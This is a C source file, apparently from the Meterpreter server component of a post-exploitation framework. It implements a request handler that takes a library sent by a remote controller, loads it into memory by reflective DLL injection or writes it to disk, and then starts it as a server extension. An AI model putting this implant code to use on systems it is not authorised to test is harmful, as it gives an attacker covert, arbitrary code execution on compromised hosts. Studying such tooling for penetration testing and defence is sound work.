/
remote_dispatch.c
149 lines (127 loc) · 4.13 KB
/
remote_dispatch.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include "metsrv.h"
// see ReflectiveLoader.c...
extern HINSTANCE hAppInstance;
// see remote_dispatch_common.c
extern LIST * extension_list;
// see common/base.c
extern Command *extension_commands;
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
HMODULE library;
PCHAR libraryPath;
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
Command *first = extension_commands;
Command *command;
do
{
libraryPath = packet_get_tlv_value_string(packet,
TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_FLAGS);
// Invalid library path?
if (!libraryPath)
{
res = ERROR_INVALID_PARAMETER;
break;
}
// If the lib does not exist locally, but is being uploaded...
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
{
PCHAR targetPath;
Tlv dataTlv;
// Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
{
res = ERROR_INVALID_PARAMETER;
break;
}
// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
// try to load the library via its reflective loader...
library = LoadLibraryR( dataTlv.buffer, dataTlv.header.length );
if( library == NULL )
{
// if that fails, presumably besause the library doesn't support
// reflective injection, we default to using libloader...
library = libloader_load_library( targetPath,
dataTlv.buffer, dataTlv.header.length );
}
else
{
bLibLoadedReflectivly = TRUE;
}
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
else
{
// Otherwise, save the library buffer to disk
res = buffer_to_file(targetPath, dataTlv.buffer,
dataTlv.header.length);
}
// Override the library path
libraryPath = targetPath;
}
// If a previous operation failed, break out.
if (res != ERROR_SUCCESS)
break;
// Load the library
if ((!library) && (!(library = LoadLibrary(libraryPath))))
res = GetLastError();
else
res = ERROR_SUCCESS;
// If this library is supposed to be an extension library, try to
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
{
EXTENSION * extension = (EXTENSION *)malloc( sizeof(EXTENSION) );
if( extension )
{
extension->library = library;
// if the library was loaded via its reflective loader we must use GetProcAddressR()
if( bLibLoadedReflectivly )
{
extension->init = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" );
}
else
{
extension->init = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" );
}
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
// functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
remote->hMetSrv = hAppInstance;
// Call the init routine in the library
if( extension->init )
{
dprintf("[SERVER] Calling init()...");
res = extension->init( remote );
if( res == ERROR_SUCCESS )
list_push( extension_list, extension );
else
free( extension );
}
dprintf("[SERVER] Called init()...");
if (response) {
for (command = extension_commands; command != first; command = command->next) {
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
}
}
}
}
} while (0);
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
packet_transmit(remote, response, NULL);
}
return res;
}